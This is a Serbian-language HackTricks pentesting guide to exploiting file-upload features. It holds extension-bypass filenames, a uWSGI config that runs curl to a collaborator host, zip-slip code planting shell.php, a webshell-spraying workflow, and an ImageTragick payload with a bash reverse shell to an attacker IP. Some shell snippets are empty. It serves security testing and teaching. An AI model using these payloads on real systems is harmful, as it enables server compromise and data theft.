# Uploadovanje fajlova
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). {% embed url="https://www.stmcyber.com/careers" %} ## Opšta metodologija za uploadovanje fajlova Drugi korisni nastavci: * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ * **Rad u PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ * **Flash**: _.swf_ * **Perl**: _.pl, .cgi_ * **Erlang Yaws Web Server**: _.yaws_ ### Bypass provere ekstenzija fajlova 1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._ 2. _Proverite **dodavanjem validne ekstenzije pre** ekstenzije za izvršenje (koristite i prethodne ekstenzije):_ * _file.png.php_ * _file.png.Php5_ 3. Pokušajte dodavanjem **specijalnih karaktera na kraju.** Možete koristiti Burp da **bruteforce-ujete** sve **ascii** i **Unicode** karaktere. (_Imajte na umu da možete pokušati koristiti i **prethodno** pomenute **ekstenzije**_) * _file.php%20_ * _file.php%0a_ * _file.php%00_ * _file.php%0d%0a_ * _file.php/_ * _file.php.\\_ * _file._ * _file.php...._ * _file.pHp5...._ 4. Pokušajte da zaobiđete zaštitu **prevareći parser ekstenzija** na serverskoj strani tehnikama poput **udvajanja** **ekstenzije** ili dodavanja smeća (nultih bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da biste pripremili bolji payload._ * _file.png.php_ * _file.png.pHp5_ * _file.php#.png_ * _file.php%00.png_ * _file.php\x00.png_ * _file.php%0a.png_ * _file.php%0d%0a.png_ * _file.phpJunk123png_ 5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru: * _file.png.jpg.php_ * _file.php%00.png%00.jpg_ 6. Pokušajte da stavite **izvršnu ekstenziju pre validne ekstenzije** i nadajte se da je server loše konfigurisan. (korisno za eksploataciju Apache konfiguracija gde će bilo šta sa ekstenzijom\*\* _**.php**_**, ali** ne nužno završava u .php\*\* izvršiti kod): * _npr: file.php.png_ 7. Korišćenje **NTFS alternativnog toka podataka (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačke ":" će biti ubačen posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, na serveru će biti kreiran **prazan fajl sa zabranjenom ekstenzijom** (npr. "file.asax:.jpg"). Ovaj fajl može biti kasnije izmenjen korišćenjem drugih tehnika kao što je korišćenje njegovog kratkog imena fajla. Obrazac “**::$data**” takođe može biti korišćen za kreiranje nepraznih fajlova. Stoga, dodavanje tačke nakon ovog obrasca takođe može biti korisno za zaobilaženje daljih restrikcija (npr. “file.asp::$data.”) 8. Pokušajte da pređete granice imena fajla. Validna ekstenzija se odseče. A zlonamerni PHP ostaje. AAA<--SNIP-->AAA.php ``` # Maksimalno 255 bajtova na Linux-u /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # oduzeti 4 ovde i dodati .png # Uploadujte fajl i proverite odgovor koliko karaktera dozvoljava. Recimo 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Napravite payload AAA<--SNIP 232 A-->AAA.php.png ``` ### Bypassovanje Content-Type, Magic Number, kompresija i promena veličine * Bypass **Content-Type** provere postavljanjem **vrednosti** zaglavlja **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) * Bypass **provere magic number-a** dodavanjem na početak fajla **bajtova prave slike** (zbunite _file_ komandu). Ili uvedite shell unutar **metapodataka**:\ `exiftool -Comment="' >> img.png` * Ako se **kompresija dodaje na vašu sliku**, na primer korišćenjem standardnih PHP biblioteka poput [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. * [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * Web stranica takođe može **menjati veličinu slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. * [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * Još jedna tehnika za kreiranje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. * [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) ### Ostali trikovi za proveru * Pronađite ranjivost da **preimenujete** već uploadovan fajl (da promenite ekstenziju). * Pronađite ranjivost **Local File Inclusion** da izvršite backdoor. * **Moguće otkrivanje informacija**: 1. Uploadujte **više puta** (i **istovremeno**) **isti fajl** sa **istim imenom** 2. Uploadujte fajl sa **imenom** fajla ili **foldera** koji **već postoji** 3. Uploadujte fajl sa **“.”, “..”, ili “…” kao njegovim imenom**. Na primer, u Apache-u na **Windows-u**, ako aplikacija čuva uploadovane fajlove u direktorijumu “/www/uploads/”, ime fajla “.” će kreirati fajl nazvan “uploads” u direktorijumu “/www/”. 4. Uploadujte fajl koji se možda ne može lako obrisati kao što je **“…:.jpg”** u **NTFS**-u (Windows) 5. Uploadujte fajl u **Windows-u** sa **nevažećim karakterima** poput `|<>*?”` u njegovom imenu. (Windows) 6. Uploadujte fajl u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** poput CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9. * Pokušajte takođe da **uploadujete izvršni fajl** (.exe) ili **.html** (manje sumnjivo) koji će **izvršiti kod** kada ga slučajno otvori žrtva. ### Specijalni trikovi sa ekstenzijama Ako pokušavate da uploadujete fajlove na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ Ako pokušavate da uploadujete fajlove na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). `.phar` fajlovi su kao `.jar` za javu, ali za php, i mogu se **koristiti kao php fajl** (izvršavanje sa php-om, ili uključivanje u skriptu...) Ekstenzija `.inc` se ponekad koristi za php fajlove koji se koriste samo za **uvoz fajlova**, tako da je u nekom trenutku neko mogao dozvoliti **ovu ekstenziju da se izvrši**. ## **Jetty RCE** Ako možete da uploadujete XML fajl na Jetty server, možete dobiti [RCE jer se **novi \*.xml i \*.war automatski obrađuju**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je navedeno na sledećoj slici, uploadujte XML fajl u `$JETTY_BASE/webapps/` i očekujte shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>) ## **uWSGI RCE** Za detaljno istraživanje ove ranjivosti pogledajte originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Ranjivosti za izvršavanje udaljenih komandi (RCE) mogu biti iskorišćene na uWSGI serverima ako imate mogućnost da izmenite `.ini` konfiguracioni fajl. Konfiguracioni fajlovi uWSGI servera koriste specifičnu sintaksu za uključivanje "magičnih" promenljivih, mesta i operatora. Posebno, operator '@', korišćen kao `@(filename)`, dizajniran je da uključi sadržaj fajla. Među različitim podržanim šemama u uWSGI-ju, "exec" šema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcionalnost može biti manipulisana u zlonamerne svrhe kao što su izvršavanje udaljenih komandi ili pisanje/čitanje proizvoljnih fajlova kada se `.ini` konfiguracioni fajl obrađuje. Razmotrite sledeći primer štetnog `uwsgi.ini` fajla, prikazujući različite šeme: ```ini [uwsgi] ; read from a symbol foo = @(sym://uwsgi_funny_function) ; read from binary appended data bar = @(data://[REDACTED]) ; read from http test = @(http://[REDACTED]) ; read from a file descriptor content = @(fd://[REDACTED]) ; read from a process stdout body = @(exec://whoami) ; curl to exfil via collaborator extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` Izvršavanje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, proces uWSGI mora biti ili restartovan (potencijalno nakon pada ili zbog napada DoS) ili fajl mora biti podešen za automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava fajl u određenim intervalima nakon što detektuje promene. Važno je razumeti opuštenu prirodu parsiranja konfiguracionog fajla uWSGI-ja. Konkretno, razmatrani payload može biti ubačen u binarni fajl (kao što je slika ili PDF), dodatno proširujući obim potencijalne eksploatacije. ## **Triks za otpremanje fajlova/SSRF trik pomoću wget-a** U nekim situacijama možete primetiti da server koristi **`wget`** za **preuzimanje fajlova** i možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova unutar bele liste kako bi se osiguralo da će biti preuzimani samo dozvoljeni fajlovi. Međutim, **ova provera može biti zaobiđena.**\ **Maksimalna** dužina **imenovanja fajla** u **Linux-u** je **255**, međutim, **wget** skraćuje imena fajlova na **236** karaktera. Možete **preuzeti fajl nazvan "A"\*232+".php"+".gif"**, ovo ime fajla će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **validna** ekstenzija) ali će `wget` **preimenovati** fajl u **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') python3 -m http.server 9080 ``` ```bash #Download the file wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")') The name is too long, 240 chars total. Trying to shorten... New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif Connecting to 127.0.0.1:9080... connected. HTTP request sent, awaiting response... 200 OK Length: 10 [image/gif] Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` Imajte na umu da je **još jedna opcija** o kojoj možete razmišljati kako da zaobiđete ovu proveru da **naterate HTTP server da preusmeri na drugi fajl**, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmereni fajl sa novim imenom. Ovo **neće raditi** **osim ako** se wget koristi sa **parametrom** `--trust-server-names` jer će **wget preuzeti preusmerenu stranicu sa imenom fajla naznačenim u originalnom URL-u**. ## Alati * [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Bug Hunterima u testiranju mehanizama za otpremanje fajlova. Koristi različite tehnike nagradnih bagova kako bi pojednostavio proces identifikacije i iskorišćavanja ranjivosti, obezbeđujući temeljnu procenu veb aplikacija. ## Od otpremanja fajla do drugih ranjivosti * Postavite **ime fajla** na `../../../tmp/lol.png` i pokušajte da postignete **traversiranje putanje** * Postavite **ime fajla** na `sleep(10)-- -.jpg` i možda ćete uspeti da postignete **SQL injection** * Postavite **ime fajla** na `` da biste postigli XSS * Postavite **ime fajla** na `; sleep 10;` da biste testirali neke injekcije komandi (više [tričarija za injekciju komandi ovde](../command-injection.md)) * [**XSS** u fajlu sa slikom (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg) * **JS** fajl **otpremanje** + **XSS** = [eksploatacija **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers) * [**XXE u otpremanju svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [**Otvoreno preusmeravanje** putem otpremanja svg fajla](../open-redirect.md#open-redirect-uploading-svg-files) * Isprobajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* * [Čuvena ranjivost **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * Ako možete **navesti veb server da uhvati sliku sa URL-a** možete pokušati da iskoristite [SSRF](../ssrf-server-side-request-forgery/). Ako će se ova **slika** sačuvati na nekom **javnom** sajtu, takođe možete navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**. * [**XXE i CORS** zaobilaženje sa otpremanjem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) * Posebno oblikovani PDF-ovi za XSS: [Sledeća stranica prikazuje kako **ubaciti PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete otpremiti PDF-ove, možete pripremiti neki PDF koji će izvršiti proizvoljni JS prateći date upute. * Otpremite \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da biste proverili da li server ima **antivirus** * Proverite da li postoji neko ograničenje **veličine** prilikom otpremanja fajlova Evo liste top 10 stvari koje možete postići otpremanjem (sa [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE 3. **GIF**: Stored XSS / SSRF 4. **CSV**: CSV injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF 7. **HTML / JS** : HTML injection / XSS / Otvoreno preusmeravanje 8. **PNG / JPEG**: Pixel flood napad (DoS) 9. **ZIP**: RCE putem LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE #### Burp Ekstenzija {% embed url="https://github.com/portswigger/upload-scanner" %} ## Čarobni bajtovi zaglavlja * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` * **JPG**: `"\xff\xd8\xff"` Pogledajte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) za druge tipove fajlova. ### Automatsko otpremanje Zip/Tar fajla koji se automatski dekompresuje Ako možete otpremiti ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari: #### Simbolička veza Otpremite link koji sadrži soft linkove ka drugim fajlovima, zatim, pristupajući dekompresovanim fajlovima, pristupićete povezanim fajlovima: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` ### Dekompresujte u različite fascikle Neočekivano stvaranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ovaj postupak može zaštititi od izvršavanja komandi na nivou OS putem zlonamernih uploadovanih fajlova, hijerarhijska podrška za kompresiju i sposobnosti pretraživanja direktorijuma ZIP arhivnog formata mogu biti iskorišćene. Ovo omogućava napadačima da zaobiđu restrikcije i pobegnu iz bezbednih direktorijuma za uploadovanje manipulišući funkcionalnošću dekompresije ciljane aplikacije. Automatizovani exploit za kreiranje takvih fajlova dostupan je na [**evilarc na GitHub-u**](https://github.com/ptoomey3/evilarc). Ova alatka može biti korišćena na sledeći način: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` Dodatno, **simbolička veza trik sa evilarc** je opcija. Ako je cilj da se cilja datoteka poput `/flag.txt`, simbolička veza ka toj datoteci treba biti kreirana u vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada. Ispod je primer Python koda koji se koristi za kreiranje zlonamernog zip fajla: ```python #!/usr/bin/python import zipfile from io import BytesIO def create_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../var/www/html/webserver/shell.php', '') z.writestr('otherfile.xml', 'Content of the file') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` **Zloupotreba kompresije za prskanje fajlova** Za dodatne detalje **proverite originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) 1. **Kreiranje PHP Shell-a**: PHP kod je napisan da izvrši komande prosleđene kroz promenljivu `$_REQUEST`. ```php ``` 2. **Prskanje Fajlova i Kreiranje Kompresovanog Fajla**: Kreiraju se više fajlova i formira se zip arhiva koja sadrži ove fajlove. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` 3. **Modifikacija pomoću Hex Editora ili vi**: Imena fajlova unutar zip arhive se menjaju korišćenjem vi ili hex editora, menjajući "xxA" u "../" kako bi se pretraživali direktorijumi. ```bash :set modifiable :%s/xxA/..\//g :x! ``` ## ImageTragic Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick, 7.0.1-1)** (iz [exploita](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` ## Ugrađivanje PHP Shell-a u PNG Ugrađivanje PHP Shell-a u IDAT blok PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se često koriste za promenu veličine i resampling slika, redom. Mogućnost ugrađenog PHP Shell-a da ostane neizmenjen nakon ovih operacija predstavlja značajnu prednost za određene slučajeve upotrebe. Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, pruža se u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija. Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Poliglotne Datoteke Poliglotne datoteke služe kao jedinstveno sredstvo u kibernetičkoj bezbednosti, delujući kao kameleoni koji mogu validno postojati istovremeno u više formata datoteka. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše kao GIF i RAR arhiva istovremeno. Takve datoteke nisu ograničene samo na ovu kombinaciju; kombinacije poput GIF-a i JS-a ili PPT-a i JS-a su takođe izvodljive. Osnovna korist poliglotnih datoteka leži u njihovoj sposobnosti da zaobiđu sigurnosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u različitim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za otpremanje - poput JPEG-a, GIF-a ili DOC-a - kako bi se umanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, pridržavajući se strukturnih kriterijuma više tipova datoteka, može prikriveno zaobići ove restrikcije. Iako su poligloti prilagodljivi, nailaze na određena ograničenja. Na primer, iako poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog otpremanja može zavisiti od politike ekstenzija datoteka platforme. Ako sistem strogo pridržava dozvoljenih ekstenzija, sama strukturalna dvojnost poliglota možda neće biti dovoljna da garantuje njegovo otpremanje. Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ## Reference * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) * [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) * [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider) * [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako u pismenom tako i u govornom obliku_). {% embed url="https://www.stmcyber.com/careers" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.